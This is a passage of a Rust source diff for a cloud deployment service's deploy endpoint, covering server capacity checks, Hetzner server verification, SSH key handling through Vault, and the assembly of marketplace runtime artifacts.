{ + Err(format!( + "Template '{}' cannot be deployed to this target: {}", + template.slug, + mismatches.join("; ") + )) + } +} + +fn validate_min_ram_requirement( + template: &models::StackTemplate, + server_slug: &str, + minimum_ram_mb: i32, + server_capacity: &app_service_catalog::ServerCapacity, +) -> Result<(), String> { + match server_capacity.ram_mb { + Some(available_ram_mb) if available_ram_mb >= minimum_ram_mb => Ok(()), + Some(available_ram_mb) => Err(format!( + "Template '{}' cannot be deployed to this target: selected server '{}' does not meet minimum RAM requirement (required: {} MB, available: {} MB)", + template.slug, server_slug, minimum_ram_mb, available_ram_mb + )), + None => Err(format!( + "Template '{}' cannot be deployed to this target: selected server '{}' is missing RAM metadata", + template.slug, server_slug + )), + } +} + +fn validate_min_disk_requirement( + template: &models::StackTemplate, + server_slug: &str, + minimum_disk_gb: i32, + server_capacity: &app_service_catalog::ServerCapacity, +) -> Result<(), String> { + match server_capacity.disk_gb { + Some(available_disk_gb) if available_disk_gb >= minimum_disk_gb => Ok(()), + Some(available_disk_gb) => Err(format!( + "Template '{}' cannot be deployed to this target: selected server '{}' does not meet minimum disk requirement (required: {} GB, available: {} GB)", + template.slug, server_slug, minimum_disk_gb, available_disk_gb + )), + None => Err(format!( + "Template '{}' cannot be deployed to this target: selected server '{}' is missing disk metadata", + template.slug, server_slug + )), + } +} + +fn validate_min_cpu_requirement( + template: &models::StackTemplate, + server_slug: &str, + minimum_cpu_cores: i32, + server_capacity: &app_service_catalog::ServerCapacity, +) -> Result<(), String> { + match server_capacity.cpu_cores { + Some(available_cpu_cores) if available_cpu_cores >= minimum_cpu_cores => Ok(()), + Some(available_cpu_cores) => Err(format!( + "Template '{}' cannot be deployed to this target: selected server '{}' does not meet minimum CPU requirement (required: {} cores, available: {} cores)", + template.slug, server_slug, minimum_cpu_cores, available_cpu_cores + )), + None => Err(format!( + "Template '{}' cannot be deployed to this target: selected server '{}' is missing CPU metadata", + template.slug, server_slug + )), + } +} + +fn project_locked_cloud_provider(project: &models::Project) -> Option<&str> { + project + .request_json + .get("custom") + .and_then(|custom| custom.get("locked_cloud_provider")) + .and_then(|provider| provider.as_str()) + .map(str::trim) + .filter(|provider| !provider.is_empty()) +} + +fn validate_project_locked_cloud_provider( + project: &models::Project, + provider: &str, +) -> Result<(), String> { + let provider = provider.trim(); + let Some(locked_provider) = project_locked_cloud_provider(project) else { + return Ok(()); + }; + + if locked_provider.eq_ignore_ascii_case(provider) { + return Ok(()); + } + + Err(format!( + "This project is locked to cloud provider '{}'. Deploying with '{}' is not allowed.", + locked_provider, provider + )) +} + +fn normalized_provider(provider: &str) -> String { + provider.trim().to_ascii_lowercase() +} + +fn is_hetzner_provider(provider: &str) -> bool { + matches!(normalized_provider(provider).as_str(), "htz" | "hetzner") +} + +fn server_display_name(server: &models::Server) -> String { + server + .name + .as_deref() + .map(str::trim) + .filter(|name| !name.is_empty()) + .map(ToOwned::to_owned) + .or_else(|| server.srv_ip.clone()) + .unwrap_or_else(|| format!("server #{}", server.id)) +} + +fn reveal_cloud_credentials(cloud: &models::Cloud) -> models::Cloud { + if cloud.save_token == Some(true) { + forms::cloud::CloudForm::decode_model(cloud.clone(), true) + } else { + cloud.clone() + } +} + +#[derive(Debug, Deserialize)] +struct HetznerServersResponse { + #[serde(default)] + servers: Vec, +} + +#[derive(Debug, Deserialize)] +struct HetznerServer { + name: String, + #[serde(default)] + status: Option, + #[serde(default)] + public_net: Option, +} + +#[derive(Debug, Deserialize)] +struct HetznerPublicNet { + #[serde(default)] + ipv4: Option, +} + +#[derive(Debug, Deserialize)] +struct HetznerIpv4 { + ip: String, +} + +fn hetzner_api_base_url() -> String { + std::env::var("STACKER_HETZNER_API_URL") + .unwrap_or_else(|_| "https://api.hetzner.cloud/v1".to_string()) + .trim_end_matches('/') + .to_string() +} + +fn hetzner_server_ip(server: &HetznerServer) -> Option<&str> { + server + .public_net + .as_ref()? + .ipv4 + .as_ref() + .map(|ipv4| ipv4.ip.as_str()) +} + +fn find_matching_hetzner_server<'a>( + servers: &'a [HetznerServer], + stacker_server: &models::Server, +) -> Option<&'a HetznerServer> { + let expected_name = stacker_server + .name + .as_deref() + .map(str::trim) + .filter(|name| !name.is_empty()); + let expected_ip = stacker_server + .srv_ip + .as_deref() + .map(str::trim) + .filter(|ip| !ip.is_empty()); + + servers.iter().find(|server| { + expected_name.is_some_and(|name| server.name == name) + || expected_ip.is_some_and(|ip| hetzner_server_ip(server) == Some(ip)) + }) +} + +async fn verify_tcp_reachable(host: &str, port: i32, timeout_secs: u64) -> Result<(), String> { + let port = u16::try_from(port).map_err(|_| format!("invalid SSH port {}", port))?; + let address = (host, port); + + match tokio::time::timeout( + Duration::from_secs(timeout_secs), + tokio::net::TcpStream::connect(address), + ) + .await + { + Ok(Ok(_stream)) => Ok(()), + Ok(Err(err)) => Err(err.to_string()), + Err(_) => Err(format!("connection timed out after {}s", timeout_secs)), + } +} + +async fn validate_hetzner_reused_server( + cloud: &models::Cloud, + server: &models::Server, +) -> Result<(), String> { + let display_name = server_display_name(server); + let cloud = reveal_cloud_credentials(cloud); + let token = cloud + .cloud_token + .as_deref() + .map(str::trim) + .filter(|token| !token.is_empty()) + .ok_or_else(|| { + "Could not verify connected Hetzner server because cloud credentials are unavailable. Re-add the cloud credential and retry.".to_string() + })?; + + let client = reqwest::Client::builder() + .timeout(Duration::from_secs(8)) + .build() + .map_err(|err| format!("Could not initialize Hetzner API client: {}", err))?; + let response = client + .get(format!("{}/servers", hetzner_api_base_url())) + .bearer_auth(token) + .send() + .await + .map_err(|err| { + format!( + "Could not verify connected Hetzner server '{}': {}", + display_name, err + ) + })?; + + if !response.status().is_success() { + return Err(format!( + "Could not verify connected Hetzner server '{}': Hetzner API returned HTTP {}. Check the saved cloud credential and retry.", + display_name, + response.status().as_u16() + )); + } + + let body = response + .json::() + .await + .map_err(|err| { + format!( + "Could not verify connected Hetzner server '{}': invalid Hetzner API response ({})", + display_name, err + ) + })?; + + let provider_server = find_matching_hetzner_server(&body.servers, server).ok_or_else(|| { + format!( + "Connected cloud server '{}' no longer exists in Hetzner. Run `stacker deploy --force-new` to provision a new server, or remove/reconnect the stale server in Stacker.", + display_name + ) + })?; + + if let Some(status) = provider_server.status.as_deref() { + if status != "running" { + return Err(format!( + "Connected cloud server '{}' exists in Hetzner but is '{}'. Start the server or run `stacker deploy --force-new` to provision a new one.", + display_name, status + )); + } + } + + if let Some(ip) = server + .srv_ip + .as_deref() + .map(str::trim) + .filter(|ip| !ip.is_empty()) + { + let ssh_port = server.ssh_port.unwrap_or(22); + verify_tcp_reachable(ip, ssh_port, 4) + .await + .map_err(|err| { + format!( + "Connected cloud server '{}' exists in Hetzner but SSH is not reachable at {}:{} ({}). Fix the server/firewall or run `stacker deploy --force-new` to provision a new server.", + display_name, ip, ssh_port, err + ) + })?; + } + + Ok(()) +} + +async fn validate_reused_cloud_server( + cloud: &models::Cloud, + server: &models::Server, +) -> Result<(), String> { + let provider = normalized_provider(&cloud.provider); + let has_existing_ip = server + .srv_ip + .as_deref() + .map(str::trim) + .is_some_and(|ip| !ip.is_empty()); + + if provider == "own" || !has_existing_ip { + return Ok(()); + } + + if is_hetzner_provider(&provider) { + return validate_hetzner_reused_server(cloud, server).await; + } + + tracing::warn!( + "Reused cloud server validation is not implemented for provider '{}'; proceeding with existing behavior", + cloud.provider + ); + Ok(()) +} + +async fn validate_template_server_capacity_requirements( + template: &models::StackTemplate, + requirements: &models::InfrastructureRequirements, + provider: &str, + cloud_id: Option, + server_slug: Option<&str>, + access_token: Option<&str>, +) -> Result<(), String> { + if requirements.min_ram_mb.is_none() + && requirements.min_disk_gb.is_none() + && requirements.min_cpu_cores.is_none() + { + return Ok(()); + } + + if !app_service_catalog::is_supported_cloud_provider(provider) { + return Ok(()); + } + + let server_slug = server_slug.ok_or_else(|| { + format!( + "Template '{}' cannot be deployed to this target: selected server is required for minimum RAM validation", + template.slug + ) + })?; + + let payload = app_service_catalog::fetch_catalog(provider, "servers", cloud_id, access_token) + .await + .map_err(|err| { + format!( + "Template '{}' cannot be deployed to this target: failed to load server catalog: {}", + template.slug, err + ) + })?; + + let server_capacity = app_service_catalog::resolve_server_capacity(&payload, server_slug) + .ok_or_else(|| { + format!( + "Template '{}' cannot be deployed to this target: selected server '{}' was not found in the provider catalog", + template.slug, server_slug + ) + })?; + + if let Some(minimum_ram_mb) = requirements.min_ram_mb { + validate_min_ram_requirement(template, server_slug, minimum_ram_mb, &server_capacity)?; + } + + if let Some(minimum_disk_gb) = requirements.min_disk_gb { + validate_min_disk_requirement(template, server_slug, minimum_disk_gb, &server_capacity)?; + } + + if let Some(minimum_cpu_cores) = requirements.min_cpu_cores { + validate_min_cpu_requirement(template, server_slug, minimum_cpu_cores, &server_capacity)?; + } + + Ok(()) +} + +#[derive(Debug, Deserialize)] +pub struct RollbackRequest { + pub version: String, +} + +fn build_rollback_project_payload( + stack_definition: serde_json::Value, +) -> Result<(serde_json::Value, String), String> { + let form: forms::project::ProjectForm = serde_json::from_value(stack_definition.clone()) + .map_err(|err| format!("Invalid marketplace template definition: {}", err))?; + let stack_code = form.custom.custom_stack_code.clone(); + let metadata = serde_json::to_value(form).map_err(|err| { + format!( + "Failed to normalize marketplace template definition: {}", + err + ) + })?; + Ok((metadata, stack_code)) +} + +fn build_rollback_deploy_form(template_stack_code: String) -> forms::project::Deploy { + forms::project::Deploy { + stack: forms::project::Stack { + stack_code: Some(template_stack_code), + ..Default::default() + }, + ..Default::default() + } +} + +fn deploy_features_contain(features: Option<&Vec>, expected: &str) -> bool { + features.is_some_and(|items| { + items.iter().any(|feature| { + feature + .as_str() + .is_some_and(|value| value.eq_ignore_ascii_case(expected)) + }) + }) +} + +fn deploy_uses_managed_nginx_proxy_manager(form: &forms::project::Deploy) -> bool { + deploy_features_contain( + form.stack.extended_features.as_ref(), + MANAGED_NGINX_PROXY_MANAGER_FEATURE, + ) +} + +fn deploy_uses_status_panel_agent(form: &forms::project::Deploy) -> bool { + form.server.connection_mode.as_deref() == Some(STATUS_PANEL_CONNECTION_MODE) + || deploy_features_contain( + form.stack.integrated_features.as_ref(), + STATUS_PANEL_FEATURE, + ) +} + +fn should_seed_default_status_panel_npm_credentials(form: &forms::project::Deploy) -> bool { + deploy_uses_managed_nginx_proxy_manager(form) && deploy_uses_status_panel_agent(form) +} + +fn default_status_panel_npm_credentials() -> serde_json::Value { + serde_json::json!({ + "schema_version": 1, + "host": DEFAULT_STATUS_PANEL_NPM_HOST, + "email": DEFAULT_STATUS_PANEL_NPM_EMAIL, + "password": DEFAULT_STATUS_PANEL_NPM_PASSWORD, + "auth_mode": DEFAULT_STATUS_PANEL_NPM_AUTH_MODE + }) +} + +async fn ensure_default_status_panel_npm_credentials( + user: &models::User, + form: &forms::project::Deploy, + pg_pool: &PgPool, + settings: &Settings, + server: &models::Server, +) -> Result { + if !should_seed_default_status_panel_npm_credentials(form) { + return Ok(false); + } + + if db::remote_secret::fetch_server_secret( + pg_pool, + &user.id, + server.id, + STATUS_PANEL_NPM_CREDENTIALS_SECRET, + ) + .await? + .is_some() + { + return Ok(false); + } + + let vault = services::VaultService::from_settings(&settings.vault) + .map_err(|error| error.to_string())?; + let vault_path = vault.status_panel_npm_credentials_path(server.id); + let default_credentials = default_status_panel_npm_credentials(); + + vault + .store_structured_secret_value(&vault_path, &default_credentials) + .await + .map_err(|error| error.to_string())?; + + db::remote_secret::upsert_server_secret( + pg_pool, + &user.id, + server.id, + STATUS_PANEL_NPM_CREDENTIALS_SECRET, + &vault_path, + &user.id, + "synced", + ) + .await?; + + tracing::info!( + "Seeded default Nginx Proxy Manager credentials for server {} at {}", + server.id, + vault_path + ); + + Ok(true) +} + +fn is_non_empty_json(value: &serde_json::Value) -> bool { + match value { + serde_json::Value::Null => false, + serde_json::Value::Array(items) => !items.is_empty(), + serde_json::Value::Object(map) => !map.is_empty(), + serde_json::Value::String(value) => !value.trim().is_empty(), + _ => true, + } +} + +fn normalize_optional_secret(value: &Option) -> Option { + value + .as_ref() + .map(|value| value.trim().to_string()) + .filter(|value| !value.is_empty()) +} + +fn resolve_provided_ssh_keypair( + form: &forms::server::ServerForm, +) -> Result, String> { + let private_key = match normalize_optional_secret(&form.ssh_private_key) { + Some(key) => key, + None => return Ok(None), + }; + + let public_key = match normalize_optional_secret(&form.public_key) { + Some(key) => key, + None => { + let private = ssh_key::PrivateKey::from_openssh(&private_key) + .map_err(|err| format!("Invalid SSH private key: {}", err))?; + private + .public_key() + .to_openssh() + .map_err(|err| format!("Failed to derive SSH public key: {}", err))? + } + }; + + Ok(Some((public_key, private_key))) +} + +fn ensure_root_object( + value: &mut serde_json::Value, +) -> &mut serde_json::Map { + if !value.is_object() { + *value = serde_json::json!({}); + } + + value + .as_object_mut() + .expect("root value should be normalized to object") +} + +fn ensure_custom_object( + value: &mut serde_json::Value, +) -> &mut serde_json::Map { + let root = ensure_root_object(value); + let custom = root + .entry("custom".to_string()) + .or_insert_with(|| serde_json::json!({})); + if !custom.is_object() { + *custom = serde_json::json!({}); + } + + custom + .as_object_mut() + .expect("custom value should be normalized to object") +} + +fn custom_field(value: &serde_json::Value, field: &str) -> Option { + value + .get("custom") + .and_then(|custom| custom.get(field)) + .cloned() +} + +fn template_version_field( + template_version: &models::StackTemplateVersion, + field: &str, +) -> Option { + let value = match field { + "marketplace_config_files" => &template_version.config_files, + "marketplace_assets" => &template_version.assets, + "marketplace_seed_jobs" => &template_version.seed_jobs, + "marketplace_post_deploy_hooks" => &template_version.post_deploy_hooks, + _ => &serde_json::Value::Null, + }; + + is_non_empty_json(value).then(|| value.clone()) +} + +fn upsert_custom_field(target: &mut serde_json::Value, field: &str, value: &serde_json::Value) { + let custom = ensure_custom_object(target); + if !custom.contains_key(field) { + custom.insert(field.to_string(), value.clone()); + } +} + +fn sanitize_runtime_bundle_filename(raw_filename: &str) -> Option { + let normalized = raw_filename.trim().replace('\\', "/"); + if normalized.is_empty() { + return None; + } + + Path::new(&normalized) + .file_name() + .and_then(|filename| filename.to_str()) + .map(str::trim) + .filter(|filename| !filename.is_empty() && *filename != "." && *filename != "..") + .map(|filename| filename.to_string()) +} + +fn select_runtime_bundle_asset(custom: &serde_json::Value) -> Option { + custom + .get("marketplace_assets") + .and_then(|assets| assets.as_array()) + .and_then(|assets| { + assets.iter().find_map(|asset| { + let parsed = + serde_json::from_value::(asset.clone()).ok()?; + let filename = parsed.filename.to_ascii_lowercase(); + let content_type = parsed.content_type.to_ascii_lowercase(); + if filename.ends_with(".tgz") + || filename.ends_with(".tar.gz") + || content_type == "application/gzip" + || content_type == "application/x-gzip" + || content_type == "application/x-tar" + { + Some(parsed) + } else { + None + } + }) + }) +} + +fn preserve_marketplace_runtime_artifacts( + project: &mut models::Project, + template_version: Option<&models::StackTemplateVersion>, +) -> Result<(), String> { + for field in [ + "marketplace_config_files", + "marketplace_assets", + "marketplace_seed_jobs", + "marketplace_post_deploy_hooks", + ] { + let value = custom_field(&project.metadata, field) + .or_else(|| custom_field(&project.request_json, field)) + .or_else(|| { + template_version.and_then(|version| template_version_field(version, field)) + }); + + if let Some(value) = value { + upsert_custom_field(&mut project.metadata, field, &value); + upsert_custom_field(&mut project.request_json, field, &value); + } + } + + Ok(()) +} + +fn build_runtime_artifact_bundle( + settings: &Settings, + custom: &serde_json::Value, +) -> Result, String> { + let config_files = custom + .get("marketplace_config_files") + .cloned() + .unwrap_or_else(|| serde_json::json!([])); + let assets = custom + .get("marketplace_assets") + .cloned() + .unwrap_or_else(|| serde_json::json!([])); + let seed_jobs = custom + .get("marketplace_seed_jobs") + .cloned() + .unwrap_or_else(|| serde_json::json!([])); + let post_deploy_hooks = custom + .get("marketplace_post_deploy_hooks") + .cloned() + .unwrap_or_else(|| serde_json::json!([])); + + if !is_non_empty_json(&config_files) + && !is_non_empty_json(&assets) + && !is_non_empty_json(&seed_jobs) + && !is_non_empty_json(&post_deploy_hooks) + { + return Ok(None); + } + + let mut bundle = serde_json::json!({ + "archive_format": "tar.gz", + "config_files_count": config_files.as_array().map(|items| items.len()).unwrap_or(0), + "asset_count": assets.as_array().map(|items| items.len()).unwrap_or(0), + "seed_jobs_count": seed_jobs.as_array().map(|items| items.len()).unwrap_or(0), + "post_deploy_hooks_count": post_deploy_hooks.as_array().map(|items| items.len()).unwrap_or(0), + "seed_jobs_execution": "deferred", + "post_deploy_execution": "deferred", + }); + + if let Some(asset) = select_runtime_bundle_asset(custom) { + let safe_filename = sanitize_runtime_bundle_filename(&asset.filename) + .unwrap_or_else(|| "runtime-artifacts.tar.gz".to_string()); + if let Some(bundle_object) = bundle.as_object_mut() { + bundle_object.insert("filename".to_string(), serde_json::json!(safe_filename)); + bundle_object.insert("sha256".to_string(), serde_json::json!(asset.sha256)); + bundle_object.insert("size".to_string(), serde_json::json!(asset.size)); + bundle_object.insert( + "content_type".to_string(), + serde_json::json!(asset.content_type), + ); + bundle_object.insert( + "decompress".to_string(), + serde_json::json!(asset.decompress), + ); + if let Some(fetch_target) = asset.fetch_target.clone() { + bundle_object.insert("fetch_target".to_string(), serde_json::json!(fetch_target)); + } + if let Some(mount_path) = asset.mount_path.clone() { + bundle_object.insert("mount_path".to_string(), serde_json::json!(mount_path)); + } + } + + match services::presign_asset_download(&settings.marketplace_assets, &asset) { + Ok(presigned) => { + if let Some(bundle_object) = bundle.as_object_mut() { + bundle_object + .insert("download_url".to_string(), serde_json::json!(presigned.url)); + bundle_object.insert( + "download_method".to_string(), + serde_json::json!(presigned.method), + ); + bundle_object.insert( + "expires_in_seconds".to_string(), + serde_json::json!(presigned.expires_in_seconds), + ); + } + } + Err(err) => { + tracing::warn!( + "Failed to presign runtime artifact bundle download: {}", + err + ); + if let Some(bundle_object) = bundle.as_object_mut() { + bundle_object.insert( + "download_url_error".to_string(), + serde_json::json!(err.to_string()), + ); + } + } + } + } + + Ok(Some(bundle)) +} + +fn sync_runtime_artifact_bundle( + settings: &Settings, + project: &mut models::Project, +) -> Result<(), String> { + match build_runtime_artifact_bundle(settings, &project.metadata["custom"])? { + Some(runtime_bundle) => { + ensure_root_object(&mut project.metadata).insert( + "runtime_artifact_bundle".to_string(), + runtime_bundle.clone(), + ); + ensure_root_object(&mut project.request_json) + .insert("runtime_artifact_bundle".to_string(), runtime_bundle); + } + None => { + ensure_root_object(&mut project.metadata).remove("runtime_artifact_bundle"); + ensure_root_object(&mut project.request_json).remove("runtime_artifact_bundle"); + } + } + + Ok(()) +} + +fn upsert_root_field(target: &mut serde_json::Value, field: &str, value: &serde_json::Value) { + ensure_root_object(target).insert(field.to_string(), value.clone()); +} + +fn upsert_deployment_artifact( + target: &mut serde_json::Value, + field: &str, + value: &serde_json::Value, +) { + let custom = ensure_custom_object(target); + let deployment_artifacts = custom + .entry("deployment_artifacts".to_string()) + .or_insert_with(|| serde_json::json!({})); + if !deployment_artifacts.is_object() { + *deployment_artifacts = serde_json::json!({}); + } + + deployment_artifacts + .as_object_mut() + .expect("deployment_artifacts should be normalized to an object") + .insert(field.to_string(), value.clone()); +} + +fn basename_from_path(path: &str) -> Option<&str> { + Path::new(path) + .file_name() + .and_then(|name| name.to_str()) + .map(str::trim) + .filter(|name| !name.is_empty()) +} + +fn compose_content_from_config_files( + config_files: &serde_json::Value, +) -> Result, String> { + let files = config_files + .as_array() + .ok_or_else(|| "config_files must be an array".to_string())?; + + for file in files { + let file_name = file + .get("name") + .and_then(|value| value.as_str()) + .map(str::trim) + .filter(|name| !name.is_empty()) + .or_else(|| { + file.get("destination_path") + .and_then(|value| value.as_str()) + .and_then(basename_from_path) + }); + + if let Some(file_name) = file_name { + if crate::project_app::is_compose_filename(file_name) { + let content = file + .get("content") + .and_then(|value| value.as_str()) + .ok_or_else(|| { + format!( + "compose config file '{}' is missing string content", + file_name + ) + })?; + return Ok(Some(content.to_string())); + } + } + } + + Ok(None) +} + +fn runtime_config_files_from_deploy_config_files( + config_files: &serde_json::Value, +) -> Result { + let files = config_files + .as_array() + .ok_or_else(|| "config_files must be an array".to_string())?; + let mut runtime_files = Vec::new(); + + for file in files { + let file_name = file + .get("name") + .and_then(|value| value.as_str()) + .map(str::trim) + .filter(|name| !name.is_empty()) + .or_else(|| { + file.get("destination_path") + .and_then(|value| value.as_str()) + .and_then(basename_from_path) + }); + + if file_name.is_some_and(crate::project_app::is_compose_filename) { + continue; + } + + let path = file + .get("destination_path") + .or_else(|| file.get("path")) + .and_then(|value| value.as_str()) + .map(str::trim) + .filter(|value| !value.is_empty()) + .ok_or_else(|| "config file is missing destination_path".to_string())?; + let content = file + .get("content") + .and_then(|value| value.as_str()) + .ok_or_else(|| format!("config file '{}' is missing string content", path))?; + + let mut runtime_file = serde_json::json!({ + "path": path, + "content": content, + }); + if let Some(mode) = file + .get("file_mode") + .or_else(|| file.get("mode")) + .and_then(|value| value.as_str()) + { + runtime_file["mode"] = serde_json::json!(mode); + } + runtime_files.push(runtime_file); + } + + Ok(serde_json::Value::Array(runtime_files)) +} + +fn merge_marketplace_config_files(target: &mut serde_json::Value, generated: &serde_json::Value) { + let Some(generated_files) = generated.as_array().filter(|files| !files.is_empty()) else { + return; + }; + + let custom = ensure_custom_object(target); + let existing = custom + .entry("marketplace_config_files".to_string()) + .or_insert_with(|| serde_json::json!([])); + if !existing.is_array() { + *existing = serde_json::json!([]); + } + + let existing_files = existing + .as_array_mut() + .expect("marketplace_config_files should be normalized to an array"); + for generated_file in generated_files { + let generated_path = generated_file.get("path").and_then(|value| value.as_str()); + if let Some(path) = generated_path { + existing_files + .retain(|file| file.get("path").and_then(|value| value.as_str()) != Some(path)); + } + existing_files.push(generated_file.clone()); + } +} + +fn apply_deploy_bundle( + project: &mut models::Project, + form: &forms::project::Deploy, +) -> Result, String> { + if let Some(environment) = form + .environment + .as_ref() + .map(|value| value.trim()) + .filter(|value| !value.is_empty()) + { + let environment_value = serde_json::Value::String(environment.to_string()); + upsert_root_field(&mut project.metadata, "environment", &environment_value); + upsert_root_field(&mut project.request_json, "environment", &environment_value); + } + + let compose_content = match form + .config_files + .as_ref() + .filter(|value| is_non_empty_json(value)) + { + Some(config_files) => { + upsert_root_field(&mut project.metadata, "config_files", config_files); + upsert_root_field(&mut project.request_json, "config_files", config_files); + let runtime_config_files = runtime_config_files_from_deploy_config_files(config_files)?; + merge_marketplace_config_files(&mut project.metadata, &runtime_config_files); + merge_marketplace_config_files(&mut project.request_json, &runtime_config_files); + compose_content_from_config_files(config_files)? + } + None => None, + }; + + if let Some(config_bundle) = form + .config_bundle + .as_ref() + .filter(|value| is_non_empty_json(value)) + { + upsert_root_field(&mut project.metadata, "config_bundle", config_bundle); + upsert_root_field(&mut project.request_json, "config_bundle", config_bundle); + + let artifact_metadata = config_bundle + .get("manifest") + .cloned() + .unwrap_or_else(|| config_bundle.clone()); + upsert_deployment_artifact(&mut project.metadata, "config_bundle", &artifact_metadata); + upsert_deployment_artifact( + &mut project.request_json, + "config_bundle", + &artifact_metadata, + ); + } + + Ok(compose_content) +} + +async fn load_project_template_version( + pg_pool: &PgPool, + project: &models::Project, +) -> Result, String> { + let Some(template_id) = project.source_template_id else { + return Ok(None); + }; + + let versions = db::marketplace::list_versions_by_template(pg_pool, template_id).await?; + if let Some(target_version) = project.template_version.as_deref() { + Ok(versions + .into_iter() + .find(|version| version.version == target_version)) + } else { + Ok(versions + .into_iter() + .find(|version| version.is_latest.unwrap_or(false))) + } +} + +async fn execute_deployment( + user: &models::User, + mut project: models::Project, + form: &forms::project::Deploy, + pg_pool: &PgPool, + mq_manager: &MqManager, + install_service: &Arc, + vault_client: &VaultClient, + settings: &Settings, + cloud: models::Cloud, + server: models::Server, +) -> Result<(i32, i32)> { + let deploy_compose = apply_deploy_bundle(&mut project, form) + .map_err(|err| JsonResponse::::build().bad_request(err))?; + let template_version = load_project_template_version(pg_pool, &project) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + preserve_marketplace_runtime_artifacts(&mut project, template_version.as_ref()) + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + sync_runtime_artifact_bundle(settings, &mut project) + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let id = project.id; + let dc = DcBuilder::new(project); + let fc = match deploy_compose { + Some(compose) => compose, + None => dc + .build() + .map_err(|err| JsonResponse::::build().internal_server_error(err))?, + }; + + let mut new_public_key: Option = None; + let mut bootstrap_private_key: Option = None; + let provided_keypair = resolve_provided_ssh_keypair(&form.server) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + if let Some((_, private_key)) = provided_keypair.as_ref() { + bootstrap_private_key = Some(private_key.clone()); + tracing::info!( + "Using provided SSH private key transiently for bootstrap on server {}", + server.id + ); + } + + let server = if server.key_status != "active" { + match VaultClient::generate_ssh_keypair() { + Ok((public_key, private_key)) => { + match vault_client + .store_ssh_key(&user.id, server.id, &public_key, &private_key) + .await + { + Ok(vault_path) => { + tracing::info!( + "Auto-generated SSH key for server {} (vault_key_path: {})", + server.id, + vault_path + ); + new_public_key = Some(public_key); + db::server::update_ssh_key_status( + pg_pool, + server.id, + Some(vault_path), + "active", + ) + .await + .unwrap_or_else(|e| { + tracing::warn!("Failed to update SSH key status: {}", e); + server + }) + } + Err(e) => { + tracing::warn!( + "Failed to store auto-generated SSH key in Vault for server {}: {}", + server.id, + e + ); + server + } + } + } + Err(e) => { + tracing::warn!( + "Failed to auto-generate SSH keypair for server {}: {}", + server.id, + e + ); + server + } + } + } else { + match vault_client.fetch_ssh_public_key(&user.id, server.id).await { + Ok(pk) => { + tracing::info!( + "Fetched existing public key from Vault for server {}", + server.id + ); + new_public_key = Some(pk); + } + Err(e) => { + tracing::warn!( + "Failed to fetch public key from Vault for server {}: {}", + server.id, + e + ); + } + } + server + }; + + let has_existing_ip = server.srv_ip.as_ref().map_or(false, |ip| !ip.is_empty()); + if has_existing_ip && new_public_key.is_none() && server.vault_key_path.is_none() { + tracing::error!( + "Cannot deploy to existing server {} (IP: {:?}): SSH key is not available. \ + vault_key_path is None and key generation failed.", + server.id, + server.srv_ip, + ); + return Err(JsonResponse::::build().bad_request( + "SSH key is not available for this server. \ + Please generate an SSH key first with `stacker ssh-key generate` \ + or re-add your server with SSH credentials.", + )); + } + + let json_request = dc.project.metadata.clone(); + let deployment_hash = format!("deployment_{}", Uuid::new_v4()); + let deployment = models::Deployment::new( + dc.project.id, + Some(user.id.clone()), + deployment_hash.clone(), + String::from("pending"), + "runc".to_string(), + json_request, + ); + + let saved_deployment = db::deployment::insert(pg_pool, deployment) + .await + .map_err(|_| { + JsonResponse::::build().internal_server_error("Internal Server Error") + })?; + + let deployment_id = saved_deployment.id; + + let new_private_key = if let Some(pk) = bootstrap_private_key { + Some(pk) + } else if server.vault_key_path.is_some() { + match vault_client.fetch_ssh_key(&user.id, server.id).await { + Ok(pk) => { + tracing::info!( + "Fetched SSH private key from Vault for server {}", + server.id + ); + Some(pk) + } + Err(e) => { + tracing::warn!( + "Failed to fetch SSH private key from Vault for server {}: {}", + server.id, + e + ); + None + } + } + } else { + None + }; + + let deploy_result = install_service + .deploy( + user.id.clone(), + user.email.clone(), + id, + deployment_id, + deployment_hash.clone(), + &dc.project, + cloud, + server, + &form.stack, + form.registry.clone(), + fc, + mq_manager, + new_public_key, + new_private_key, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if let Some(registry) = form.registry.as_ref() { + crate::project_app::store_registry_auth_to_vault( + &deployment_hash, + registry, + &settings.vault, + ) + .await; + } + + Ok((deploy_result, deployment_id)) +} + +#[tracing::instrument(name = "Deploy for every user", skip_all)] +#[post("/{id}/deploy")] +pub async fn item( + user: web::ReqData>, + path: web::Path<(i32,)>, + mut form: web::Json, + pg_pool: Data, + mq_manager: Data, + sets: Data, + user_service: Data>, + install_service: Data>, + vault_client: Data, +) -> Result { + let id = path.0; + tracing::debug!("User {} is deploying project: {}", user.id, id); + form.cloud.provider = form.cloud.provider.trim().to_string(); + + if !form.validate().is_ok() { + let errors = form.validate().unwrap_err().to_string(); + let err_msg = format!("Invalid form data received {:?}", &errors); + tracing::debug!(err_msg); + + return Err(JsonResponse::::build().form_error(errors)); + } + + // Validate project + let project = db::project::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|project| match project { + Some(project) => Ok(project), + None => Err(JsonResponse::::build().not_found("not found")), + })?; + + validate_project_locked_cloud_provider(&project, &form.cloud.provider) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + let marketplace_template = if let Some(template_id) = project.source_template_id { + let template = db::marketplace::get_by_id(pg_pool.get_ref(), template_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if let Some(template) = template { + if let Some(required_plan) = template.required_plan_name.as_deref() { + let has_plan = user_service + .user_has_plan(&user.id, required_plan, user.access_token.as_deref()) + .await + .map_err(|err| { + tracing::error!("Failed to validate plan: {:?}", err); + JsonResponse::::build() + .internal_server_error("Failed to validate subscription plan") + })?; + + if !has_plan { + tracing::warn!( + "User {} lacks required plan {} to deploy template {}", + user.id, + required_plan, + template_id + ); + return Err(JsonResponse::::build().forbidden(format!( + "You require a '{}' subscription to deploy this template", + required_plan + ))); + } + } + + Some(template) + } else { + None + } + } else { + None + }; + + let id = project.id; + + form.cloud.user_id = Some(user.id.clone()); + form.cloud.project_id = Some(id); + + // Validate cloud credentials before encrypting/saving. + // For cloud providers ("htz", "do", "lin", "aws", etc.) we need valid credentials. + if form.cloud.provider != "own" { + let token_empty = form + .cloud + .cloud_token + .as_ref() + .map_or(true, |t| t.is_empty()); + let key_empty = form.cloud.cloud_key.as_ref().map_or(true, |k| k.is_empty()); + let secret_empty = form + .cloud + .cloud_secret + 